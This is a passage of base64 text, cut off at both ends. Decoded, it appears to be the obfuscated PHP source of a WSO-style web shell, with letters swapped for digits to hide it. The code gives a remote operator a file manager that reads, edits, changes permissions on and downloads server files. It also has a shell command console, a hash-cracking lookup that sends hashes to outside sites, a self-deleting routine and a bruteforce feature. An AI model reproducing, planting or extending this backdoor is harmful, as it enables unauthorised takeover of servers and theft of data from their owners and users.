z5UNXh0OjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSd0NXh0JyBzdHlsNT0ndzRkdGg6NjAwJSc+PC90ZD48L3RyPg0KCQkJPHRyPjx0ZD5QMXRoOjwvdGQ+PHRkPjw0bnAzdCB0eXA1PSd0NXh0JyBuMW01PSdjd2QnIHYxbDM1PSciLiBodG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSkgLiInIHN0eWw1PSd3NGR0aDo2MDAlJz48L3RkPjwvdHI+DQoJCQk8dHI+PHRkPk4xbTU6PC90ZD48dGQ+PDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2Y0bDVuMW01JyB2MWwzNT0nKicgc3R5bDU9J3c0ZHRoOjYwMCUnPjwvdGQ+PC90cj4NCgkJCTx0cj48dGQ+PC90ZD48dGQ+PDRucDN0IHR5cDU9J3MzYm00dCcgdjFsMzU9Jz4+Jz48L3RkPjwvdHI+DQoJCQk8L3QxYmw1PjwvZjJybT4iOw0KDQoJZjNuY3Q0Mm4gd3MyUjVjM3JzNHY1R2wyYigkcDF0aCkgew0KCQk0ZihzM2JzdHIoJHAxdGgsIC02KSAhPSAnLycpDQoJCQkkcDF0aC49Jy8nOw0KCQkkcDF0aHMgPSBAMXJyMXlfM240cTM1KEAxcnIxeV9tNXJnNShAZ2wyYigkcDF0aC4kX1BPU1RbJ3BvJ10pLCBAZ2wyYigkcDF0aC4nKicsIEdMT0JfT05MWURJUikpKTsNCgkJNGYoNHNfMXJyMXkoJHAxdGhzKSYmQGMyM250KCRwMXRocykpIHsNCgkJCWYycjUxY2goJHAxdGhzIDFzICQ0dDVtKSB7DQoJCQkJNGYoQDRzX2Q0cigkNHQ1bSkpew0KCQkJCQk0ZigkcDF0aCE9JDR0NW0pDQoJCQkJCQl3czJSNWMzcnM0djVHbDJiKCQ0dDVtKTsNCgkJCQl9IDVsczUgew0KCQkJCQk0Zig1bXB0eSgkX1BPU1RbJ3BhJ10pIHx8IEBzdHJwMnMoZjRsNV9nNXRfYzJudDVudHMoJDR0NW0pLCAkX1BPU1RbJ3BhJ10pIT09ZjFsczUpDQoJCQkJCQk1Y2gyICI8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLG4zbGwsXCIiLjNybDVuYzJkNSgkNHQ1bSkuIlwiLCBcInY0NXdcIixcIlwiKSc+Ii5odG1sc3A1YzQxbGNoMXJzKCQ0dDVtKS4iPC8xPjxicj4iOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCX0NCgk0ZihAJF9QT1NUWydwbyddKQ0KCQl3czJSNWMzcnM0djVHbDJiKCRfUE9TVFsnYyddKTsNCgk1Y2gyICI8L2Q0dj48YnI+PGg2PlM1MXJjaCBmMnIgaDFzaDo8L2g2PjxkNHYgY2wxc3M9YzJudDVudD4NCgkJPGYycm0gbTV0aDJkPSdwMnN0JyB0MXJnNXQ9J19ibDFuaycgbjFtNT0naGYnPg0KCQkJPDRucDN0IHR5cDU9J3Q1eHQnIG4xbTU9J2gxc2gnIHN0eWw1PSd3NGR0aDphMDBweDsnPjxicj4NCiAgICAgICAgICAgIDw0bnAzdCB0eXA1PSdoNGRkNW4nIG4xbTU9JzFjdCcgdjFsMzU9J2Y0bmQnLz4NCgkJCTw0bnAzdCB0eXA1PSdiM3R0Mm4nIHYxbDM1PSdoMXNoY3IxY2s0bmcucjMnIDJuY2w0Y2s9XCJkMmMzbTVudC5oZi4xY3Q0Mm49J2h0dHBzOi8vaDFzaGNyMWNrNG5nLnIzLzRuZDV4LnBocCc7ZDJjM201bnQuaGYuczNibTR0KClcIj48YnI+DQoJCQk8NG5wM3QgdHlwNT0nYjN0dDJuJyB2MWwzNT0nbWRpLnI1ZG4yNHo1LmMybScgMm5jbDRjaz1cImQyYzNtNW50LmhmLjFjdDQybj0naHR0cDovL21kaS5yNWRuMjR6NS5jMm0vP3E9JytkMmMzbTVudC5oZi5oMXNoLnYxbDM1Kycmcz1tZGknO2QyYzNtNW50LmhmLnMzYm00dCgpXCI+PGJyPg0KICAgICAgICAgICAgPDRucDN0IHR5cDU9J2IzdHQybicgdjFsMzU9J2NyMWNrZjJyLm01JyAybmNsNGNrPVwiZDJjM201bnQuaGYuMWN0NDJuPSdodHRwOi8vY3IxY2tmMnIubTUvNG5kNXgucGhwJztkMmMzbTVudC5oZi5zM2JtNHQoKVwiPjxicj4NCgkJPC9mMnJtPjwvZDR2PiI7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkY0bDVzVDIybHMoKSB7DQoJNGYoIDRzczV0KCRfUE9TVFsncDYnXSkgKQ0KCQkkX1BPU1RbJ3A2J10gPSAzcmxkNWMyZDUoJF9QT1NUWydwNiddKTsNCgk0ZihAJF9QT1NUWydwYSddPT0nZDJ3bmwyMWQnKSB7DQoJCTRmKEA0c19mNGw1KCRfUE9TVFsncDYnXSkgJiYgQDRzX3I1MWQxYmw1KCRfUE9TVFsncDYnXSkpIHsNCgkJCTJiX3N0MXJ0KCIyYl9nemgxbmRsNXIiLCB1MDllKTsNCgkJCWg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9Ii5iMXM1bjFtNSgkX1BPU1RbJ3A2J10pKTsNCgkJCTRmIChmM25jdDQybl81eDRzdHMoIm00bTVfYzJudDVudF90eXA1IikpIHsNCgkJCQkkdHlwNSA9IEBtNG01X2MybnQ1bnRfdHlwNSgkX1BPU1RbJ3A2J10pOw0KCQkJCWg1MWQ1cigiQzJudDVudC1UeXA1OiAiIC4gJHR5cDUpOw0KCQkJfSA1bHM1DQogICAgICAgICAgICAgICAgaDUxZDVyKCJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuLzJjdDV0LXN0cjUxbSIpOw0KCQkJJGZwID0gQGYycDVuKCRfUE9TVFsncDYnXSwgInIiKTsNCgkJCTRmKCRmcCkgew0KCQkJCXdoNGw1KCFAZjUyZigkZnApKQ0KCQkJCQk1Y2gyIEBmcjUxZCgkZnAsIDYwYXUpOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9NXg0dDsNCgl9DQoJNGYoIEAkX1BPU1RbJ3BhJ10gPT0gJ21rZjRsNScgKSB7DQoJCTRmKCFmNGw1XzV4NHN0cygkX1BPU1RbJ3A2J10pKSB7DQoJCQkkZnAgPSBAZjJwNW4oJF9QT1NUWydwNiddLCAndycpOw0KCQkJNGYoJGZwKSB7DQoJCQkJJF9QT1NUWydwYSddID0gIjVkNHQiOw0KCQkJCWZjbDJzNSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5GNGw1IHQyMmxzPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCgk0ZiggIWY0bDVfNXg0c3RzKEAkX1BPU1RbJ3A2J10pICkgew0KCQk1Y2gyICdGNGw1IG4ydCA1eDRzdHMnOw0KCQl3czJGMjJ0NXIoKTsNCgkJcjV0M3JuOw0KCX0NCgkkMzRkID0gQHAyczR4X2c1dHB3MzRkKEBmNGw1MnduNXIoJF9QT1NUWydwNiddKSk7DQoJNGYoISQzNGQpIHsNCgkJJDM0ZFsnbjFtNSddID0gQGY0bDUyd241cigkX1BPU1RbJ3A2J10pOw0KCQkkZzRkWyduMW01J10gPSBAZjRsNWdyMjNwKCRfUE9TVFsncDYnXSk7DQoJfSA1bHM1ICRnNGQgPSBAcDJzNHhfZzV0Z3JnNGQoQGY0bDVncjIzcCgkX1BPU1RbJ3A2J10pKTsNCgk1Y2gyICc8c3Axbj5OMW01Ojwvc3Axbj4gJy5odG1sc3A1YzQxbGNoMXJzKEBiMXM1bjFtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPlM0ejU6PC9zcDFuPiAnLig0c19mNGw1KCRfUE9TVFsncDYnXSk/d3MyVjQ1d1M0ejUoZjRsNXM0ejUoJF9QT1NUWydwNiddKSk6Jy0nKS4nIDxzcDFuPlA1cm00c3M0Mm46PC9zcDFuPiAnLndzMlA1cm1zQzJsMnIoJF9QT1NUWydwNiddKS4nIDxzcDFuPk93bjVyL0dyMjNwOjwvc3Axbj4gJy4kMzRkWyduMW01J10uJy8nLiRnNGRbJ24xbTUnXS4nPGJyPic7DQoJNWNoMiAnPHNwMW4+Q3I1MXQ1IHQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1Y3Q0bTUoJF9QT1NUWydwNiddKSkuJyA8c3Axbj5BY2M1c3MgdDRtNTo8L3NwMW4+ICcuZDF0NSgnWS1tLWQgSDo0OnMnLGY0bDUxdDRtNSgkX1BPU1RbJ3A2J10pKS4nIDxzcDFuPk0yZDRmeSB0NG01Ojwvc3Axbj4gJy5kMXQ1KCdZLW0tZCBIOjQ6cycsZjRsNW10NG01KCRfUE9TVFsncDYnXSkpLic8YnI+PGJyPic7DQoJNGYoIDVtcHR5KCRfUE9TVFsncGEnXSkgKQ0KCQkkX1BPU1RbJ3BhJ10gPSAndjQ1dyc7DQoJNGYoIDRzX2Y0bDUoJF9QT1NUWydwNiddKSApDQoJCSRtID0gMXJyMXkoJ1Y0NXcnLCAnSDRnaGw0Z2h0JywgJ0Qyd25sMjFkJywgJ0g1eGQzbXAnLCAnRWQ0dCcsICdDaG0yZCcsICdSNW4xbTUnLCAnVDIzY2gnKTsNCgk1bHM1DQoJCSRtID0gMXJyMXkoJ0NobTJkJywgJ1I1bjFtNScsICdUMjNjaCcpOw0KCWYycjUxY2goJG0gMXMgJHYpDQoJCTVjaDIgJzwxIGhyNWY9IyAybmNsNGNrPSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxcJycuc3RydDJsMnc1cigkdikuJ1wnKSI+Jy4oKHN0cnQybDJ3NXIoJHYpPT1AJF9QT1NUWydwYSddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC8xPiAnOw0KCTVjaDIgJzxicj48YnI+JzsNCglzdzR0Y2goJF9QT1NUWydwYSddKSB7DQoJCWMxczUgJ3Y0NXcnOg0KCQkJNWNoMiAnPHByNSBjbDFzcz1tbDY+JzsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSggIUBmNTJmKCRmcCkgKQ0KCQkJCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCX0NCgkJCTVjaDIgJzwvcHI1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAnaDRnaGw0Z2h0JzoNCgkJCTRmKCBANHNfcjUxZDFibDUoJF9QT1NUWydwNiddKSApIHsNCgkJCQk1Y2gyICc8ZDR2IGNsMXNzPW1sNiBzdHlsNT0iYjFja2dyMjNuZC1jMmwycjogIzU2NTY1NjtjMmwycjpibDFjazsiPic7DQoJCQkJJGMyZDUgPSBAaDRnaGw0Z2h0X2Y0bDUoJF9QT1NUWydwNiddLHRyMzUpOw0KCQkJCTVjaDIgc3RyX3I1cGwxYzUoMXJyMXkoJzxzcDFuICcsJzwvc3Axbj4nKSwgMXJyMXkoJzxmMm50ICcsJzwvZjJudD4nKSwkYzJkNSkuJzwvZDR2Pic7DQoJCQl9DQoJCQlicjUxazsNCgkJYzFzNSAnY2htMmQnOg0KCQkJNGYoICE1bXB0eSgkX1BPU1RbJ3BvJ10pICkgew0KCQkJCSRwNXJtcyA9IDA7DQoJCQkJZjJyKCQ0PXN0cmw1bigkX1BPU1RbJ3BvJ10pLTY7JDQ+PTA7LS0kNCkNCgkJCQkJJHA1cm1zICs9ICg0bnQpJF9QT1NUWydwbyddWyQ0XSpwMncoOCwgKHN0cmw1bigkX1BPU1RbJ3BvJ10pLSQ0LTYpKTsNCgkJCQk0ZighQGNobTJkKCRfUE9TVFsncDYnXSwgJHA1cm1zKSkNCgkJCQkJNWNoMiAnQzFuXCd0IHM1dCBwNXJtNHNzNDJucyE8YnI+PHNjcjRwdD5kMmMzbTVudC5tZi5wby52MWwzNT0iIjs8L3NjcjRwdD4nOw0KCQkJfQ0KCQkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJCTVjaDIgJzxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0PjxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLHRoNHMuY2htMmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jaG0yZCB2MWwzNT0iJy5zM2JzdHIoc3ByNG50ZignJTInLCBmNGw1cDVybXMoJF9QT1NUWydwNiddKSksLXUpLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJzVkNHQnOg0KCQkJNGYoICE0c193cjR0MWJsNSgkX1BPU1RbJ3A2J10pKSB7DQoJCQkJNWNoMiAnRjRsNSA0c25cJ3Qgd3I0dDUxYmw1JzsNCgkJCQlicjUxazsNCgkJCX0NCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKTsNCgkJCQkkX1BPU1RbJ3BvJ10gPSBzM2JzdHIoJF9QT1NUWydwbyddLDYpOw0KCQkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sInciKTsNCgkJCQk0ZigkZnApIHsNCgkJCQkJQGZ3cjR0NSgkZnAsJF9QT1NUWydwbyddKTsNCgkJCQkJQGZjbDJzNSgkZnApOw0KCQkJCQk1Y2gyICdTMXY1ZCE8YnI+PHNjcjRwdD5wb189IiI7PC9zY3I0cHQ+JzsNCgkJCQkJQHQyM2NoKCRfUE9TVFsncDYnXSwkdDRtNSwkdDRtNSk7DQoJCQkJfQ0KCQkJfQ0KCQkJNWNoMiAnPGYycm0gMm5zM2JtNHQ9ImcobjNsbCxuM2xsLFwnJyAuIDNybDVuYzJkNSgkX1BPU1RbJ3A2J10pIC4gJ1wnLG4zbGwsXCc2XCcrdGg0cy50NXh0LnYxbDM1KTtyNXQzcm4gZjFsczU7Ij48dDV4dDFyNTEgbjFtNT10NXh0IGNsMXNzPWI0ZzFyNTE+JzsNCgkJCSRmcCA9IEBmMnA1bigkX1BPU1RbJ3A2J10sICdyJyk7DQoJCQk0ZigkZnApIHsNCgkJCQl3aDRsNSggIUBmNTJmKCRmcCkgKQ0KCQkJCQk1Y2gyIGh0bWxzcDVjNDFsY2gxcnMoQGZyNTFkKCRmcCwgNjBhdSkpOw0KCQkJCUBmY2wyczUoJGZwKTsNCgkJCX0NCgkJCTVjaDIgJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgkJYzFzNSAnaDV4ZDNtcCc6DQoJCQkkYyA9IEBmNGw1X2c1dF9jMm50NW50cygkX1BPU1RbJ3A2J10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSAxcnIxeSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbDVuID0gc3RybDVuKCRjKTsNCgkJCWYyciAoJDQ9MDsgJDQ8JGw1bjsgKyskNCkgew0KCQkJCSRoWzZdIC49IHNwcjRudGYoJyUwYVgnLDJyZCgkY1skNF0pKS4nICc7DQoJCQkJc3c0dGNoICggMnJkKCRjWyQ0XSkgKSB7DQoJCQkJCWMxczUgMDogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgOTogICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNjA6ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWMxczUgNm86ICRoW2FdIC49ICcgJzsgYnI1MWs7DQoJCQkJCWQ1ZjEzbHQ6ICRoW2FdIC49ICRjWyQ0XTsgYnI1MWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJNGYgKCRuID09IG9hKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJNGYgKCQ0KzYgPCAkbDVuKSB7JGhbMF0gLj0gc3ByNG50ZignJTA4WCcsJDQrNikuJzxicj4nO30NCgkJCQkJJGhbNl0gLj0gJzxicj4nOw0KCQkJCQkkaFthXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQk1Y2gyICc8dDFibDUgYzVsbHNwMWM0bmc9NiBjNWxscDFkZDRuZz1pIGJnYzJsMnI9I2FhYWFhYT48dHI+PHRkIGJnYzJsMnI9I29vb29vbz48c3AxbiBzdHlsNT0iZjJudC13NTRnaHQ6IG4ycm0xbDsiPjxwcjU+Jy4kaFswXS4nPC9wcjU+PC9zcDFuPjwvdGQ+PHRkIGJnYzJsMnI9I2E4YThhOD48cHI1PicuJGhbNl0uJzwvcHI1PjwvdGQ+PHRkIGJnYzJsMnI9I29vb29vbz48cHI1PicuaHRtbHNwNWM0MWxjaDFycygkaFthXSkuJzwvcHI1PjwvdGQ+PC90cj48L3QxYmw1Pic7DQoJCQlicjUxazsNCgkJYzFzNSAncjVuMW01JzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQk0ZighQHI1bjFtNSgkX1BPU1RbJ3A2J10sICRfUE9TVFsncG8nXSkpDQoJCQkJCTVjaDIgJ0MxblwndCByNW4xbTUhPGJyPic7DQoJCQkJNWxzNQ0KCQkJCQlkNDUoJzxzY3I0cHQ+ZyhuM2xsLG4zbGwsIicuM3JsNW5jMmQ1KCRfUE9TVFsncG8nXSkuJyIsbjNsbCwiIik8L3NjcjRwdD4nKTsNCgkJCX0NCgkJCTVjaDIgJzxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLHRoNHMubjFtNS52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PDRucDN0IHR5cDU9dDV4dCBuMW01PW4xbTUgdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkX1BPU1RbJ3A2J10pLiciPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT4nOw0KCQkJYnI1MWs7DQoJCWMxczUgJ3QyM2NoJzoNCgkJCTRmKCAhNW1wdHkoJF9QT1NUWydwbyddKSApIHsNCgkJCQkkdDRtNSA9IHN0cnQydDRtNSgkX1BPU1RbJ3BvJ10pOw0KCQkJCTRmKCR0NG01KSB7DQoJCQkJCTRmKCF0MjNjaCgkX1BPU1RbJ3A2J10sJHQ0bTUsJHQ0bTUpKQ0KCQkJCQkJNWNoMiAnRjE0bCEnOw0KCQkJCQk1bHM1DQoJCQkJCQk1Y2gyICdUMjNjaDVkISc7DQoJCQkJfSA1bHM1IDVjaDIgJ0IxZCB0NG01IGYycm0xdCEnOw0KCQkJfQ0KCQkJY2w1MXJzdDF0YzFjaDUoKTsNCgkJCTVjaDIgJzxzY3I0cHQ+cG9fPSIiOzwvc2NyNHB0PjxmMnJtIDJuczNibTR0PSJnKG4zbGwsbjNsbCxcJycgLiAzcmw1bmMyZDUoJF9QT1NUWydwNiddKSAuICdcJyxuM2xsLHRoNHMudDIzY2gudjFsMzUpO3I1dDNybiBmMWxzNTsiPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT10MjNjaCB2MWwzNT0iJy5kMXQ1KCJZLW0tZCBIOjQ6cyIsIEBmNGw1bXQ0bTUoJF9QT1NUWydwNiddKSkuJyI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPic7DQoJCQlicjUxazsNCgl9DQoJNWNoMiAnPC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQzJuczJsNSgpIHsNCiAgICA0ZighNW1wdHkoJF9QT1NUWydwNiddKSAmJiAhNW1wdHkoJF9QT1NUWydwYSddKSkgew0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnLCB0cjM1KTsNCiAgICAgICAgJF9QT1NUWydwNiddIC49ICcgYT4mNic7DQogICAgfSA1bHM1NGYoITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgIFdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nc3RkNXJyX3QyXzIzdCcsIDApOw0KDQoJNGYoNHNzNXQoJF9QT1NUWycxajF4J10pKSB7DQoJCVdTT3M1dGMyMms0NShtZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCcsIHRyMzUpOw0KCQkyYl9zdDFydCgpOw0KCQk1Y2gyICJkLmNmLmNtZC52MWwzNT0nJztcbiI7DQoJCSR0NW1wID0gQDRjMm52KCRfUE9TVFsnY2gxcnM1dCddLCAnVVRGLTgnLCAxZGRjc2wxc2g1cygiXG4kICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSwiXG5cclx0XFwnXDAiKSk7DQoJCTRmKHByNWdfbTF0Y2goIiEuKmNkXHMrKFteO10rKSQhIiwkX1BPU1RbJ3A2J10sJG0xdGNoKSkJew0KCQkJNGYoQGNoZDRyKCRtMXRjaFs2XSkpIHsNCgkJCQkkR0xPQkFMU1snY3dkJ10gPSBAZzV0Y3dkKCk7DQoJCQkJNWNoMiAiY189JyIuJEdMT0JBTFNbJ2N3ZCddLiInOyI7DQoJCQl9DQoJCX0NCgkJNWNoMiAiZC5jZi4yM3RwM3QudjFsMzUrPSciLiR0NW1wLiInOyI7DQoJCTVjaDIgImQuY2YuMjN0cDN0LnNjcjJsbFQycCA9IGQuY2YuMjN0cDN0LnNjcjJsbEg1NGdodDsiOw0KCQkkdDVtcCA9IDJiX2c1dF9jbDUxbigpOw0KCQk1Y2gyIHN0cmw1bigkdDVtcCksICJcbiIsICR0NW1wOw0KCQk1eDR0Ow0KCX0NCiAgICA0Zig1bXB0eSgkX1BPU1RbJzFqMXgnXSkmJiE1bXB0eSgkX1BPU1RbJ3A2J10pKQ0KCQlXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnLCAwKTsNCgl3czJINTFkNXIoKTsNCiAgICA1Y2gyICI8c2NyNHB0Pg0KNGYodzRuZDJ3LkV2NW50KSB3NG5kMncuYzFwdDNyNUV2NW50cyhFdjVudC5LRVlET1dOKTsNCnYxciBjbWRzID0gbjV3IEFycjF5KCcnKTsNCnYxciBjM3IgPSAwOw0KZjNuY3Q0Mm4ga3AoNSkgew0KCXYxciBuID0gKHc0bmQydy5FdjVudCkgPyA1LndoNGNoIDogNS5rNXlDMmQ1Ow0KCTRmKG4gPT0gbzgpIHsNCgkJYzNyLS07DQoJCTRmKGMzcj49MCkNCgkJCWQyYzNtNW50LmNmLmNtZC52MWwzNSA9IGNtZHNbYzNyXTsNCgkJNWxzNQ0KCQkJYzNyKys7DQoJfSA1bHM1IDRmKG4gPT0gdTApIHsNCgkJYzNyKys7DQoJCTRmKGMzciA8IGNtZHMubDVuZ3RoKQ0KCQkJZDJjM201bnQuY2YuY21kLnYxbDM1ID0gY21kc1tjM3JdOw0KCQk1bHM1DQoJCQljM3ItLTsNCgl9DQp9DQpmM25jdDQybiAxZGQoY21kKSB7DQoJY21kcy5wMnAoKTsNCgljbWRzLnAzc2goY21kKTsNCgljbWRzLnAzc2goJycpOw0KCWMzciA9IGNtZHMubDVuZ3RoLTY7DQp9DQo8L3NjcjRwdD4iOw0KCTVjaDIgJzxoNj5DMm5zMmw1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+PGYycm0gbjFtNT1jZiAybnMzYm00dD0iNGYoZC5jZi5jbWQudjFsMzU9PVwnY2w1MXJcJyl7ZC5jZi4yM3RwM3QudjFsMzU9XCdcJztkLmNmLmNtZC52MWwzNT1cJ1wnO3I1dDNybiBmMWxzNTt9MWRkKHRoNHMuY21kLnYxbDM1KTs0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fTVsczV7ZyhuM2xsLG4zbGwsdGg0cy5jbWQudjFsMzUsdGg0cy5zaDJ3XzVycjJycy5jaDVjazVkPzY6XCdcJyk7fSByNXQzcm4gZjFsczU7Ij48czVsNWN0IG4xbTU9MWw0MXM+JzsNCglmMnI1MWNoKCRHTE9CQUxTWycxbDQxczVzJ10gMXMgJG4gPT4gJHYpIHsNCgkJNGYoJHYgPT0gJycpIHsNCgkJCTVjaDIgJzwycHRncjIzcCBsMWI1bD0iLScuaHRtbHNwNWM0MWxjaDFycygkbikuJy0iPjwvMnB0Z3IyM3A+JzsNCgkJCWMybnQ0bjM1Ow0KCQl9DQoJCTVjaDIgJzwycHQ0Mm4gdjFsMzU9IicuaHRtbHNwNWM0MWxjaDFycygkdikuJyI+Jy4kbi4nPC8ycHQ0Mm4+JzsNCgl9DQoJDQoJNWNoMiAnPC9zNWw1Y3Q+PDRucDN0IHR5cDU9YjN0dDJuIDJuY2w0Y2s9IjFkZChkLmNmLjFsNDFzLnYxbDM1KTs0ZihkLmNmLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsZC5jZi4xbDQxcy52MWwzNSxkLmNmLnNoMndfNXJyMnJzLmNoNWNrNWQ/NjpcJ1wnKTt9NWxzNXtnKG4zbGwsbjNsbCxkLmNmLjFsNDFzLnYxbDM1LGQuY2Yuc2gyd181cnIycnMuY2g1Y2s1ZD82OlwnXCcpO30iIHYxbDM1PSI+PiI+IDxuMmJyPjw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9MWoxeCB2MWwzNT02ICcuKEAkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddPydjaDVjazVkJzonJykuJz4gczVuZCAzczRuZyBBSkFYIDw0bnAzdCB0eXA1PWNoNWNrYjJ4IG4xbTU9c2gyd181cnIycnMgdjFsMzU9NiAnLighNW1wdHkoJF9QT1NUWydwYSddKXx8JF9DT09LSUVbbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZDVycl90Ml8yM3QnXT8nY2g1Y2s1ZCc6JycpLic+IHI1ZDRyNWN0IHN0ZDVyciB0MiBzdGQyM3QgKGE+JjYpPC9uMmJyPjxici8+PHQ1eHQxcjUxIGNsMXNzPWI0ZzFyNTEgbjFtNT0yM3RwM3Qgc3R5bDU9ImIycmQ1ci1iMnR0Mm06MDttMXJnNG46MDsiIHI1MWQybmx5Pic7DQoJNGYoITVtcHR5KCRfUE9TVFsncDYnXSkpIHsNCgkJNWNoMiBodG1sc3A1YzQxbGNoMXJzKCIkICIuJF9QT1NUWydwNiddLiJcbiIud3MyRXgoJF9QT1NUWydwNiddKSk7DQoJfQ0KCTVjaDIgJzwvdDV4dDFyNTE+PHQxYmw1IHN0eWw1PSJiMnJkNXI6NnB4IHMybDRkICNkZmk7YjFja2dyMjNuZC1jMmwycjojaWlpO2IycmQ1ci10MnA6MHB4OyIgYzVsbHAxZGQ0bmc9MCBjNWxsc3AxYzRuZz0wIHc0ZHRoPSI2MDAlIj48dHI+PHRkIHc0ZHRoPSI2JSI+JDwvdGQ+PHRkPjw0bnAzdCB0eXA1PXQ1eHQgbjFtNT1jbWQgc3R5bDU9ImIycmQ1cjowcHg7dzRkdGg6NjAwJTsiIDJuazV5ZDJ3bj0ia3AoNXY1bnQpOyI+PC90ZD48L3RyPjwvdDFibDU+JzsNCgk1Y2gyICc8L2Yycm0+PC9kNHY+PHNjcjRwdD5kLmNmLmNtZC5mMmMzcygpOzwvc2NyNHB0Pic7DQoJd3MyRjIydDVyKCk7DQp9DQoNCmYzbmN0NDJuIDFjdDQybkwyZzIzdCgpIHsNCiAgICBzNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICcnLCB0NG01KCkgLSBvZTAwKTsNCglkNDUoJ2J5NSEnKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuUzVsZlI1bTJ2NSgpIHsNCg0KCTRmKCRfUE9TVFsncDYnXSA9PSAneTVzJykNCgkJNGYoQDNubDRuayhwcjVnX3I1cGwxYzUoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKSkNCgkJCWQ0NSgnU2g1bGwgaDFzIGI1NW4gcjVtMnY1ZCcpOw0KCQk1bHM1DQoJCQk1Y2gyICczbmw0bmsgNXJyMnIhJzsNCiAgICA0ZigkX1BPU1RbJ3A2J10gIT0gJ3k1cycpDQogICAgICAgIHdzMkg1MWQ1cigpOw0KCTVjaDIgJzxoNj5TMzRjNGQ1PC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+UjUxbGx5IHcxbnQgdDIgcjVtMnY1IHRoNSBzaDVsbD88YnI+PDEgaHI1Zj0jIDJuY2w0Y2s9ImcobjNsbCxuM2xsLFwneTVzXCcpIj5ZNXM8LzE+PC9kNHY+JzsNCgl3czJGMjJ0NXIoKTsNCn0NCg0KZjNuY3Q0Mm4gMWN0NDJuQnIzdDVmMnJjNSgpIHsNCgl3czJINTFkNXIoKTsNCgk0ZiggNHNzN